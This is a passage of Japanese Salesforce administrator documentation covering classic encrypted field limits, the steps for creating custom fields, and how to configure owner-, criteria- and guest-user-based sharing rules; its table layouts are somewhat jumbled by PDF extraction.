• Visualforce ページでの暗号化項目の表示をサポートしているのは、<apex:outputField> コンポーネント
のみです。

制限
暗号化されたテキスト項目:

• 固有の値にはできません。また、外部 ID やデフォルト値を含めることもできません。
• リードを他のオブジェクトに対応付けるために使用することはできません。
• 暗号化アルゴリズムのために 175 文字に制限されます。
• リストビュー、レポート、積み上げ集計項目、およびルール条件などの条件に使用することはできません。
• レポートの条件を定義するために使用することはできませんが、レポート結果に含めることはできます。
• 検索することはできませんが、検索結果に含めることはできます。
• Connect Offline、Salesforce for Outlook、リードの取引開始、ワークフロールール条件または数式、数式項目、送

信メッセージ、デフォルト値、および Web-to-リードと Web-to-ケースのフォームでは使用できません。

ベストプラクティス
• 暗号化項目の編集は、「暗号化されたデータの参照」権限の有無に関係なく行うことができます。他のユー

ザによって暗号化項目が編集されないようにするには、入力規則、項目レベルのセキュリティ設定、また
はページレイアウトの設定を使用します。

• その場合でも、入力規則または Apex を使用して、暗号化項目の値を確認できます。どちらの方法も「暗号
化されたデータの参照」権限の有無に関係なく使用できます。
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• 暗号化されたデータをマスクされていない状態でデバッグログに表示するには、Apex 要求の実行元である
サービス内でユーザに「暗号化されたデータの参照」も必要です。この要求には、Apex Web サービス、ト
リガ、ワークフロー、インライン Visualforce ページ (ページレイアウトに埋め込まれたページ)、Visualforce

メールテンプレートなどがあります。
• 既存のカスタム項目を暗号化項目に変換したり、暗号化項目を他のデータ型に変換したりできません。既

存の (暗号化されていない) 項目の値を暗号化するには、データをエクスポートし、暗号化されたカスタム
項目を作成してから、そのデータを新しい暗号化項目にインポートします。

• マスク種別は、データがマスク種別と確実に一致するようにする入力マスクではありません。入力したデー
タが、選択したマスク型と確実に一致するようにするには、入力規則を使用します。

• 暗号化カスタム項目ではより多くの処理が必要となり、また、検索関連の制限もあるため、政府の規制に
より必要な場合にのみ使用してください。

メモ: このページは、Shield プラットフォームの暗号化ではなく、従来の暗号化について書かれています。
相違点 (ページ 118)

このセクションの内容:

カスタム項目の作成
カスタム項目に固有のビジネスデータを保持します。カスタム項目の作成時にその表示場所を設定し、項
目レベルのセキュリティを制御します (省略可能)。
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カスタム項目の作成

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Contact Manager Edition、
Essentials Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

Salesforce Connect の外部
オブジェクトを使用可能
なエディション: Developer
Edition。有料オプションで
使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

カスタム項目は、Group
Edition の活動では使用で
きません。

カスタム設定は、
Professional Edition では使
用できません。

レイアウトは、
Database.com Edition では
使用できません。

ユーザ権限

カスタム項目を作成また
は変更する
• 「アプリケーションの

カスタマイズ」

カスタム項目に固有のビジネスデータを保持します。カスタム項目の作成時に
その表示場所を設定し、項目レベルのセキュリティを制御します (省略可能)。
Salesforce をカスタマイズして、すべてのビジネスデータを収集できます。この
短い動画では、正しいデータ型の選択から項目レベルセキュリティの適用まで、
カスタム選択リスト項目を作成する手順を説明します。
オブジェクトの個々のレコードを参照しながら新規項目の追加と配置を行いま
すか? この短い動画では、取引先責任者を参照しながら選択リスト項目を作成
し、その項目のページレイアウトを変更する方法について説明します。
作成を開始する前に、作成する項目のデータ型を決定します。

メモ: 組織のカスタム項目数が 800 個の制限に達しつつある中で項目を削除
または作成した場合、項目を作成できないことがあります。物理的な削除
プロセスでは項目が再要求されてクリーンアップされるため、対象の項目
が一時的に制限に含まれます。削除プロセスはキューが満杯になった時点
で実行されるため、プロセスの開始までに数日あるいは数週間を要するこ
とがあります。この間は、削除済みの項目が引き続き制限に含まれます。
項目の即時削除を要求する場合は、Salesforce サポートにお問い合わせくだ
さい。

1. 項目の追加先となるオブジェクトの管理設定から、[項目] に移動します。カ
スタム ToDo および行動項目には、[活動] のオブジェクト管理設定からアクセ
スできます。

2. [新規] をクリックします。

ヒント: このセクションでは、カスタムオブジェクトに対して項目の連
動関係と項目履歴管理も設定できます。

3. 項目のデータ型を選択し、[次へ] をクリックします。次の点に留意してくだ
さい。
• データ型には、特定の設定の場合にのみ使用可能なものもあります。た

とえば、[主従関係]オプションは、主従関係を持たないカスタムオブジェ
クトに対してのみ使用できます。

• カスタム設定と外部オブジェクトでは、使用可能なデータ型のサブセッ
トのみが有効です。

• 複数選択リスト、リッチテキストエリア、または連動選択リストのカス
タム項目を商談分割に追加することはできません。

• リレーション項目はカスタム項目の上限まで数えられます。
• [積み上げ集計]オプションは、特定のオブジェクトでしか使用できませ

ん。
• 項目のデータ型は、API のデータ型に対応します。
• 組織で Shield Platform Encryption を使用する場合は、Shield Platform Encryption

を使用してカスタム項目を暗号化する方法を把握しておく必要があります。
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4. リレーション項目では、項目に関連付けるオブジェクトを選択し、[次へ] をクリックします。
5. 間接参照関係項目の場合、親オブジェクトの一意の外部 ID 項目を選択し、[次へ] をクリックします。親の

項目値が子の間接参照関係項目の値と照合され、相互に関連するレコードが判別されます。
6. あるグローバル選択リストの値セットを基本にした選択リスト項目にするには、その値セットを選択して

使用します。
7. 項目表示ラベルを入力します。

Salesforce により、項目の表示ラベルを使用して [項目名]が入力されます。この名前は、アンダースコアと
英数字のみを使用でき、組織内で一意にする必要があります。最初は文字であること、スペースは使用し
ない、最後にアンダースコアを使用しない、2 つ続けてアンダースコアを使用しないという制約がありま
す。カスタムリンク内、カスタムSコントロール内、および API からの項目の参照時には、差し込み項目の
項目名を使用します。

ヒント: カスタム項目名および表示ラベルがそのオブジェクトで一意であるようにしてください。
• 標準項目とカスタム項目の名前や表示ラベルが同じ場合、差し込み項目にはカスタム項目の値が表

示されます。
• 2 つのカスタム項目の名前や表示ラベルが同じ場合、差し込み項目に予期しない値が表示される場

合があります。
「Email」  (メール) という項目ラベルを作成し、[メール] というラベルの標準項目がすでにある場
合、差し込み項目はこれらの項目を区別できません。カスタム項目名に 1 文字追加すると、項目名が
一意になります。たとえば、Email2 のように指定します。

8. 項目属性を入力し適切なチェックボックスをオンにして、項目を入力する必要があるかどうか、またレコー
ドが削除された場合にどうするかを指定します。

9. カスタムオブジェクトの主従関係については、必要に応じて [親の変更を許可] を選択して、主従関係の子
レコードの親を別の親レコードに変更できるようにします。

10. リレーション項目については、必要に応じて参照検索条件を作成し、その項目の検索結果を制限します。
外部オブジェクトでは使用できません。

11. [次へ] をクリックします。
12. Enterprise Edition、Unlimited Edition、Performance Edition、Developer Edition では、各プロファイルについて項目の

アクセス設定を指定してから [次へ] をクリックします。

有効化された設定アクセスレベル

参照可能ユーザは項目を参照し、編集できる。

[参照可能] と [参照のみ]ユーザは項目を参照できるが編集できない。

なしユーザは項目の参照、編集ができない。

メモ:

• カスタム項目を作成する場合、必須項目でない限り、デフォルトではポータルプロファイルにこの
項目は表示されず、編集することもできません。
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13. 編集可能な項目を表示するページレイアウトを選択して、[次へ] をクリックします。

ページレイアウトでの場所項目

最初の 2 列のセクションの最後の項目。標準

最初の 1 列のセクションの末尾。ロングテキストエリア

ユーザ詳細ページの一番下。ユーザ

ページレイアウトから削除したり、参照のみにする
ことができません。

必須

14. リレーション項目では、必要に応じて関連付けられているレコードの関連リストを作成し、そのオブジェ
クトのページレイアウトに追加します。
• ページレイアウトの関連リスト名を編集するには、[関連リストの表示ラベル]をクリックし、新しい名

前を入力します。
• カスタマイズされたページレイアウトに関連リストを追加するには、[関連リストを既存ユーザのページ

のカスタマイズに追加する] を選択します。

15. [保存] をクリックして終了するか、[保存 & 新規] をクリックして別のカスタム項目を作成します。

メモ: 項目の作成には、大量のレコードの一括変更が必要なこともあります。この変更を効率的に処理す
るために要求がキューに入れられた場合は、プロセスが完了したときにメール通知を受信します。

関連トピック:

Salesforce ヘルプ: オブジェクト管理設定の検索
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共有ルール
エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

可用性についての詳細
は、「共有ルールの考慮
事項」を参照してくださ
い。

共有ルールを使用して、公開グループ、ロール、またはテリトリー内のユーザ
への共有アクセス権を拡張します。共有ルールでは、組織全体の共有設定に自
動的な例外を設けて、特定のユーザにより強いアクセス権を付与します。
ロール階層と同じように、共有ルールを組織の共有設定より厳しくすることは
できません。特定のユーザにより強いアクセス権を許可することのみ可能です。
共有ルールは、レコード所有者または他の条件に基づいて作成できます。共有
するレコードを選択したら、アクセス権を拡張するグループまたはユーザと、
そのアクセスレベルを定義します。

メモ: 各オブジェクトに最大 300 件の共有ルール (最大 50 件の条件に基づく
共有ルールまたはゲストユーザ共有ルールを含む) を定義できます (オブジェ
クトに定義可能な場合)。

次の種別の共有ルールを作成できます。組織に、共有ルールに使用できる他の
オブジェクトがある可能性もあります。

デフォルトの共有アクセ
ス権の設定

条件種別

取引先とそれに関連付け
られた契約、商談、ケー

取引先のレコードタイプ
または項目値を含む、取

取引先の共有ルール

ス、および必要な場合は
取引先責任者と注文

引先所有者または他の条
件

個々の納入商品納入商品のレコードタイ
プや項目値を含む、納入

納入商品共有ルール

商品の所有者または他の
条件

個々のキャンペーンキャンペーンのレコード
タイプや項目値を含む、

キャンペーンの共有ルー
ル

キャンペーンの所有者ま
たは他の条件

個々のケースおよび関連
付けられた取引先

ケースのレコードタイプ
や項目値を含む、ケース
所有者または他の条件

ケースの共有ルール

個々の取引先責任者およ
び関連付けられた取引先

取引先責任者のレコード
タイプや項目値を含む、
取引先責任者の所有者ま
たは他の条件

取引先責任者の共有ルー
ル

個々のカスタムオブジェ
クトレコード

カスタムオブジェクトの
レコードタイプや項目値
を含む、カスタムオブ

カスタムオブジェクトの
共有ルール
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デフォルトの共有アクセス権の設
定

条件種別

ジェクトの所有者または他の条件

個々のデータプライバシーレコー
ド

データプライバシーレコードの所
有者またはその他の条件 (項目値な
ど)。データプライバシーレコード

データプライバシーの共有ルール

は個々のオブジェクトに基づいて
います。

個々の記事バージョンナレッジオブジェクトのレコード
タイプや項目値を含む、ナレッジ
記事の所有者または他の条件

ナレッジ記事の共有ルール

個々のフローインタビューフローインタビューの所有者また
はその他の条件 (一時停止の理由な
ど)

フローインタビューの共有ルール

個々のリードリードのレコードタイプや項目値
を含む、リードの所有者または他
の条件

リードの共有ルール

個々のロケーションロケーションの所有者または他の
条件

ロケーションの共有ルール

個々のメンテナンス計画メンテナンス計画の所有者または
他の条件

メンテナンス計画の共有ルール

個々の商談およびそれらに関連付
けられた取引先

商談のレコードタイプや項目値を
含む、商談の所有者または他の条
件

商談の共有ルール

個々の注文注文のレコードタイプまたは項目
値を含む、注文所有者または他の
条件

その他の共有ルール

個々の商品項目商品項目の所有者または他の条件商品項目の共有ルール

個々の製品リクエスト製品リクエストの所有者のみ (条件
に基づく共有ルールは使用不可)

製品リクエストの共有ルール

個々の製品移行製品移行の所有者のみ (条件に基づ
く共有ルールは使用不可)

製品移行の共有ルール

個々の返品注文返品注文の所有者または他の条件返品注文の共有ルール

個々のサービス予定サービス予定の所有者または他の
条件

サービス予定の共有ルール

個々のサービス契約サービス契約の所有者または他の
条件

サービス契約の共有ルール
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デフォルトの共有アクセス権の設
定

条件種別

個々のサービスクルーサービスクルーの所有者のみ (条件
に基づく共有ルールは使用不可)

サービスクルーの共有ルール

個々のサービスリソースサービスリソースの所有者または
他の条件

サービスリソースの共有ルール

個々のサービステリトリーサービステリトリーの所有者また
は他の条件

サービステリトリーの共有ルール

個々の出荷出荷の所有者のみ (条件に基づく共
有ルールは使用不可)

出荷の共有ルール

個々のタイムシートタイムシートの所有者のみ (条件に
基づく共有ルールは使用不可)

タイムシートの共有ルール

個々のユーザユーザ名やユーザが有効かどうか
を含む、グループメンバーシップ
または他の条件

ユーザ共有ルール

個々のユーザプロビジョニング要
求

ユーザプロビジョニング要求の所
有者のみ (条件に基づく共有ルール
は使用不可)

ユーザプロビジョニング要求の共
有ルール

個々の作業指示作業指示のレコードタイプまたは
項目値を含む、作業指示の所有者
または他の条件

作業指示の共有ルール

個々の作業種別作業種別の所有者または他の条件作業種別の共有ルール

メモ: 開発者は、他の条件ではなくレコードの所有者に基づいて、Apex を使用してプログラムでカスタム
オブジェクトを共有できます。

このセクションの内容:

共有ルールタイプ
共有ルールは、レコード所有者または他の条件に基づいて作成できます。
所有者に基づく共有ルールの作成
所有者に基づく共有ルールでは、特定のユーザが所有するレコードへのアクセスが可能になります。
条件に基づく共有ルールの作成
条件に基づく共有ルールでは、項目値に基づいて誰とレコードを共有するかを決定します。
ゲストユーザ共有ルールの作成
ゲストユーザ共有ルールは、特別な条件ベースの共有ルールであり、認証されていないゲストユーザにレ
コードへのアクセス権を付与するための唯一の方法です。ゲストユーザ共有ルールでは、参照のみアクセ
ス権を付与できます。
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共有ルールのカテゴリ
共有ルールを定義するときに、ドロップダウンリスト [所有者の所属] と [共有先] にある次のカテゴリか
ら選択できます。共有ルールの種別や組織で有効になっている機能に応じて、表示されないカテゴリもあ
ります。
共有ルールの編集
所有者またはグループメンバーシップに基づく共有ルールの場合は、共有アクセス設定のみを編集できま
す。他の条件に基づく共有ルールの場合は、条件と共有アクセス設定を編集できます。
共有ルールの考慮事項
共有ルールを使用する場合は、次の点に留意してください。
共有ルールの再適用
グループ、ロール、およびテリトリーに変更を加えると、共有ルールの再評価が実行され、必要に応じて
アクセス権が追加または削除されます。
共有ルールの非同期並列再適用
共有ルールの再適用を非同期かつ並列に実行して高速化します。

共有ルールタイプ

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

可用性についての詳細
は、「共有ルールの考慮
事項」を参照してくださ
い。

共有ルールは、レコード所有者または他の条件に基づいて作成できます。

所有者に基づく共有ルール
所有者に基づく共有ルールでは、特定のユーザが所有するレコードへのアクセ
スが可能になります。たとえば、会社のある営業マネージャが、別の地域の営
業マネージャが所有する商談を参照する必要があるとします。米国の営業マネー
ジャは、所有者に基づく共有を使用して APAC の営業マネージャに米国チームが
所有する商談へのアクセス権を付与できます。

条件に基づく共有ルール
条件に基づく共有ルールでは、項目値に基づいて誰とレコードを共有するかを
決定します。たとえば、求人応募用のカスタムオブジェクトがあり、「部署」
というカスタム選択リスト項目があるとします。条件に基づく共有ルールでは、
[部署] 項目が「IT」に設定されているすべての求人応募を、組織内のすべての IT

マネージャと共有できます。

メモ:

• 条件に基づく共有ルールは、レコード所有者ではなくレコードの値に基
づいています。ただし、ロールまたはテリトリーの階層では、これまで
通り階層内の上位のユーザはレコードにアクセスできます。

• Apex を使用して条件に基づく共有ルールを作成することはできません。
また、Apex を使用して条件に基づく共有ルールをテストすることはでき
ません。
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• API バージョン 24.0 以降、メタデータ API の SharingRules 型を使用して、条件に基づく共有ルールを作成
できます。

条件に基づく共有ルールは、取引先、納入商品、キャンペーン、ケース、取引先責任者、リード、商談、作業
指示、およびカスタムオブジェクトに対して作成できます。共有条件については、レコードタイプと次のデー
タ型がサポートされます。
• 自動採番
• チェックボックス
• 日付
• 日付/時間
• メール
• 参照関係 (ユーザ ID またはキュー ID に対して)

• 数値
• パーセント
• 電話
• 選択リスト
• テキスト
• テキストエリア
• URL

メモ:  [テキスト] および [テキストエリア] は大文字小文字を区別します。たとえば、テキスト項目に
「Manager」と指定した条件に基づく共有ルールでは、項目に「manager」があるレコードは共有しませ
ん。1 つの語で複数の共通の大文字小文字の使用例を持つルールを作成するには、各値をカンマで区切っ
て入力します。

ゲストユーザ共有ルール
ゲストユーザ共有ルールは、特別な条件ベースの共有ルールであり、認証されていないゲストユーザにレコー
ドへのアクセス権を付与するための唯一の方法です。

警告: ゲストユーザ共有ルールタイプは、ログイン情報のないゲストユーザにアクセス権を付与するもの
です。ゲストユーザ共有ルールを作成すれば、共有ルールの条件に一致するすべてのレコードに、誰も
が無制限にすぐさまアクセスできるようになります。Salesforce データを保護し、ゲストユーザが必要な情
報にアクセスできるようにするために、このタイプの共有ルールの作成に関するすべての使用事例と影
響を検討してください。データの機密性に適したセキュリティコントロールを実装します。デフォルト
設定からのこの変更により、認証されていないユーザにデータが漏洩した場合でも Salesforce は責任を負
わないものとします。

共有ルールをグループメンバーシップに基づいて作成することもできます。
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所有者に基づく共有ルールの作成

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを作成する
• 「共有の管理」

所有者に基づく共有ルールでは、特定のユーザが所有するレコードへのアクセ
スが可能になります。
1. 共有ルールに公開グループを含める場合は、適切なグループが作成されてい

ることを確認します。
2. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定] を

選択します。
3. オブジェクトの [共有ルール] 関連リストで、[新規] をクリックします。
4. 表示ラベル名とルール名を入力します。表示ラベル名がユーザインターフェー

スに表示されます。ルール名は API および管理パッケージが使用する一意の
名前です。

5. 必要に応じて、共有ルールの説明を最大 1,000 文字で入力します。
6. ルールタイプには、[レコード所有者に基づく] を選択します。
7. 共有するユーザのレコードを指定します。[所有者の所属] で、最初のドロッ

プダウンリストからカテゴリを選択し、次のドロップダウンリストまたは参
照項目からユーザセットを選択します。

8. データへのアクセス権を取得するユーザを指定します。[共有先] で、最初の
ドロップダウンリストからカテゴリを選択し、次のドロップダウンリストま
たは参照項目からユーザセットを選択します。

9. ユーザの共有アクセス設定を選択します。オブジェクトまたは状況によっては、使用できないアクセス設
定があります。

説明アクセス権の設定

この共有ルール以外のアクセス権が許可されていな
い場合、ユーザはレコードの参照や更新はできませ
ん。
関連付けられた取引先責任者、商談、およびケース
でのみ使用できます。

非公開

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

選択したグループ、ロール、またはテリトリーの
ユーザは、レコードの所有者と同様に、レコードを
参照、編集、移動、削除、および共有できます。
フルアクセスの共有ルールを使用すると、ユーザ
は、活動での組織全体の共有設定が [親レコードに

フルアクセス

連動] になっている場合、そのレコードに関連付け
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説明アクセス権の設定

られた活動を参照、編集、削除し、閉じることもで
きます。
キャンペーンでのみ使用できます。

メモ: [取引先責任者のアクセス権]は、取引先責任者に対する組織の共有設定が [親レコードに連動] に
設定されているときは無効です。

10. [保存] をクリックします。

条件に基づく共有ルールの作成

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを作成する
• 「共有の管理」

条件に基づく共有ルールでは、項目値に基づいて誰とレコードを共有するかを
決定します。
1. 共有ルールに公開グループを含める場合は、適切なグループが作成されてい

ることを確認します。
2. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定] を

選択します。
3. オブジェクトの [共有ルール] 関連リストで、[新規] をクリックします。
4. 表示ラベル名とルール名を入力します。表示ラベル名がユーザインターフェー

スに表示されます。ルール名は API および管理パッケージが使用する一意の
名前です。

5. 必要に応じて、共有ルールの説明を最大 1,000 文字で入力します。
6. ルールタイプに [条件に基づく] を選択します。
7. 共有ルールに含めるためにレコードが一致する必要がある [項目]、[演算子]、

[値] 条件を指定します。使用可能な項目は、選択したオブジェクトによって
異なり、値は常に数字か文字列です。条件間の AND 関係を変更するには、[検
索条件ロジックを追加] をクリックします。値条件は 240 文字までに制限さ
れ、この制限を超える文字列または選択リスト値は切り捨てられます。

メモ: 条件に基づく共有ルールでサポートされていない項目を使用するには、ワークフロールールま
たは Apex トリガを作成してその項目の値をテキスト項目や数値項目にコピーします。次に、その項目
を条件として使用します。

8. データへのアクセス権を取得するユーザを指定します。[共有先] で、最初のドロップダウンリストからカ
テゴリを選択し、次のドロップダウンリストまたは参照項目からユーザセットを選択します。

9. ユーザの共有アクセス設定を選択します。オブジェクトまたは状況によっては、使用できないアクセス設
定があります。
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説明アクセス権の設定

この共有ルール以外のアクセス権が許可されていな
い場合、ユーザはレコードの参照や更新はできませ
ん。
関連付けられた取引先責任者、商談、およびケース
でのみ使用できます。

非公開

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

選択したグループ、ロール、またはテリトリーの
ユーザは、レコードの所有者と同様に、レコードを
参照、編集、移動、削除、および共有できます。
フルアクセスの共有ルールを使用すると、ユーザ
は、活動での組織全体の共有設定が [親レコードに

フルアクセス

連動] になっている場合、そのレコードに関連付け
られた活動を参照、編集、削除し、閉じることもで
きます。
キャンペーンでのみ使用できます。

メモ: [取引先責任者のアクセス権]は、取引先責任者に対する組織の共有設定が [親レコードに連動] に
設定されているときは無効です。

10. [保存] をクリックします。
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ゲストユーザ共有ルールの作成

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを作成する
• 「共有の管理」

ゲストユーザ共有ルールは、特別な条件ベースの共有ルールであり、認証され
ていないゲストユーザにレコードへのアクセス権を付与するための唯一の方法
です。ゲストユーザ共有ルールでは、参照のみアクセス権を付与できます。

重要: ゲストユーザにレコードアクセスを許可するためには、ゲストユー
ザ共有ルールを作成する必要があります。ゲストユーザ共有ルールタイプ
は、ログイン情報のないユーザにアクセス権を付与するものです。ゲスト
ユーザ共有ルールを作成すれば、共有ルールの条件に一致するすべてのレ
コードに、誰もが無制限にすぐさまアクセスできるようになります。Salesforce

データを保護し、ゲストユーザが必要な情報にアクセスできるようにする
ために、このタイプの共有ルールの作成に関するすべての使用事例と影響
を検討してください。データの機密性に適したセキュリティコントロール
を実装します。デフォルト設定からのこの変更により、認証されていない
ユーザにデータが漏洩した場合でも Salesforce は責任を負わないものとしま
す。

1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定] を
選択します。

2. オブジェクトの [共有ルール] 関連リストで、[新規] をクリックします。
3. 表示ラベル名とルール名を入力します。表示ラベル名がユーザインターフェー

スに表示されます。ルール名は API および管理パッケージが使用する一意の名前です。
4. 必要に応じて、共有ルールの説明を最大 1,000 文字で入力します。
5. ルールタイプに [条件に基づくゲストユーザアクセス] を選択します。
6. 共有ルールに含めるためにレコードが一致する必要がある [項目]、[演算子]、[値] 条件を指定します。使用

可能な項目は、選択したオブジェクトによって異なり、値は常に数字か文字列です。条件間の AND 関係を
変更するには、[検索条件ロジックを追加]をクリックします。値条件は 240 文字までに制限され、この制限
を超える文字列または選択リスト値は切り捨てられます。

メモ: 条件に基づく共有ルールでサポートされていない項目を使用するには、ワークフロールールま
たは Apex トリガを作成してその項目の値をテキスト項目や数値項目にコピーします。次に、その項目
を条件として使用します。

7. 組織で使用可能な場合は、大規模コミュニティまたはサイトユーザが所有するレコードを含めるかどうか
を選択します。デフォルトでは、共有ルールには認証済みユーザ、ゲストユーザ、およびキューが所有す
るレコードのみが含まれます。

ヒント: 大規模ユーザにはロールがなく、External Apps、Customer Community、High Volume Customer Portal、
Customer Portal、および Authenticated Website のライセンスの種類が含まれます。詳細は、Salesforce ヘルプ
の「大規模コミュニティまたはサイトユーザについて」を参照してください。

8. データへのアクセス権を取得するユーザを指定します。
9. [保存] をクリックします。
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共有ルールのカテゴリ

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

可用性についての詳細
は、「共有ルールの考慮
事項」を参照してくださ
い。

共有ルールを定義するときに、ドロップダウンリスト [所有者の所属] と [共有
先] にある次のカテゴリから選択できます。共有ルールの種別や組織で有効に
なっている機能に応じて、表示されないカテゴリもあります。

メモ: 大規模 E ユーザにはロールがなく、公開グループに入れることができ
ないため、共有ルールに含めることはできません。

説明カテゴリ

ユーザのすべての直属マネージャおよび間接マネー
ジャ。

マネージャのグルー
プ

マネージャと、そのマネージャが管理するすべての直
属部下および間接部下。

マネージャの下位グ
ループ

キューに所有されるすべてのレコード。ただし、キュー
の個々のメンバーに所有されるレコードは除きます。
[所有者の所属] リストでのみ使用できます。

キュー

管理者に定義されたすべての公開グループ。
組織で Salesforce エクスペリエンスまたはポータルが有
効になっている場合は、[すべてのパートナーユーザ] ま

公開グループ

たは [すべてのカスタマーポータルユーザ] グループが表
示されます。これらのグループにはそれぞれ、サイト
またはポータルへのアクセス権を持つすべてのパート
ナーユーザまたはカスタマーユーザが含まれますが、
大規模ユーザは除外されます。

組織に定義されたすべてのロール (サイトロールとポー
タルロールを除く)。これには、指定されたロールのす
べてのユーザが含まれます。

ロール

組織のサイトまたはポータル向けに定義されたすべて
のロール。これには、指定されたロール内のすべての
ユーザが含まれますが、大規模ユーザは除外されます。
サイトロールまたはポータルロールの名前にはそのロー
ルが関連付けられている取引先の名前が含まれますが、
個人取引先は例外でユーザの [別名]が含まれます。

ポータルロール

組織向けに定義されたすべてのロール。これには、指
定されたロール内のすべてのユーザと、このロールの

ロール & 下位ロール

下位のロール内のすべてのユーザが含まれます。これ
は、組織で Salesforce Experience サイトまたはポータルが
有効になっていない場合にのみ使用できます。
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説明カテゴリ

組織のサイトまたはポータル向けに定義されたすべてのロール。これには、
指定されたロールのすべてのユーザと、そのサイトロール階層またはポータ

ポータルロール & 下位ロール

ルロール階層で下位のロールのすべてのユーザが含まれますが、大規模ユー
ザは除外されます。
サイトロールまたはポータルロールの名前にはそのロールが関連付けられて
いる取引先の名前が含まれますが、個人取引先は例外でユーザの[別名]が含
まれます。

組織向けに定義されたすべてのロール。これには、指定されたロール内のす
べてのユーザと、そのロールの下位のロールに属するすべてのユーザが含ま
れますが、サイトおよびポータルのロールは除外されます。
このカテゴリは、組織で Salesforce エクスペリエンスまたはポータルが有効に
なっている場合に限り表示されます。

ロール & 内部下位ロール

組織向けに定義されたすべてのロール。これには、指定されたロール内のす
べてのユーザと、サイトロールやポータルロールなど、そのロールの下位の
ロールに属するすべてのユーザが含まれます。

ロール、内部 & ポータル下位
ロール

組織向けに定義されたすべてのテリトリー。テリトリー

組織向けに定義されたすべてのテリトリー。これには、指定されたテリト
リーとその下位のテリトリーが含まれます。

テリトリーおよび下位テリト
リー

サイトでの認証されていないすべてのユーザ。ゲストユーザ
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共有ルールの編集

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

可用性についての詳細
は、「共有ルールの考慮
事項」を参照してくださ
い。

ユーザ権限

共有ルールを作成する
• 「共有の管理」

所有者またはグループメンバーシップに基づく共有ルールの場合は、共有アク
セス設定のみを編集できます。他の条件に基づく共有ルールの場合は、条件と
共有アクセス設定を編集できます。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定] を

選択します。
2. オブジェクトの [共有ルール] 関連リストで、[編集] をクリックします。
3. 必要に応じて、表示ラベルとルール名を変更します。
4. 所有者またはグループメンバーシップに基づくルールを選択した場合は、次

の手順に進みます。
条件に基づく共有ルールまたはゲストユーザ共有ルールを選択した場合は、
共有ルールに含めるためにレコードが満たす必要がある条件を指定します。
使用可能な項目は選択したオブジェクトによって異なり、値は数字か文字列
にする必要があります。条件間の AND 関係を変更するには、[検索条件ロジッ
クを追加] をクリックします。

メモ: ゲストユーザにレコードアクセスを許可するためには、ゲスト
ユーザ共有ルールを作成する必要があります。ゲストユーザ共有ルール
タイプは、ログイン情報のないユーザにアクセス権を付与するもので
す。ゲストユーザ共有ルールを作成すれば、共有ルールの条件に一致す
るすべてのレコードに、誰もが無制限にすぐさまアクセスできるように
なります。Salesforce データを保護し、ゲストユーザが必要な情報にアク
セスできるようにするために、このタイプの共有ルールの作成に関する
すべての使用事例と影響を検討してください。データの機密性に適した
セキュリティコントロールを実装します。デフォルト設定からのこの変
更により、認証されていないユーザにデータが漏洩した場合でも Salesforce

は責任を負わないものとします。

5. ユーザの共有アクセス設定を選択します。オブジェクトまたは状況によっては、使用できないアクセス設
定があります。

説明アクセス権の設定

この共有ルール以外のアクセス権が許可されていな
い場合、ユーザはレコードの参照や更新はできませ
ん。
関連付けられた取引先責任者、商談、およびケース
でのみ使用できます。

非公開

レコードを参照することはできますが、更新はでき
ません。
ゲストユーザ共有ルールでは、参照のみアクセス権
を付与できます。

参照のみ
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説明アクセス権の設定

レコードの参照と更新ができます。参照・更新

選択したグループ、ロール、またはテリトリーの
ユーザは、レコードの所有者と同様に、レコードを
参照、編集、移動、削除、および共有できます。
フルアクセスの共有ルールを使用すると、ユーザ
は、活動での組織全体の共有設定が [親レコードに

フルアクセス

連動] になっている場合、そのレコードに関連付け
られた活動を参照、編集、削除し、閉じることもで
きます。
キャンペーンでのみ使用できます。

メモ: [取引先責任者のアクセス権]は、取引先責任者に対する組織の共有設定が [親レコードに連動] に
設定されているときは無効です。

6. [保存] をクリックします。

共有ルールの考慮事項

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

共有ルールを使用する場合は、次の点に留意してください。
一般的な考慮事項

• 共有ルールを使用すると、より広範囲のデータアクセス権を付与できま
す。アクセス権を組織全体のデフォルトレベルより低く制限することは
できません。

• 共有ルールを作成するには、組織の共有設定が [公開/参照のみ] または [非
公開] である必要があります。

• 複数共有ルールでユーザにレコードへの複数のアクセスレベルが与えら
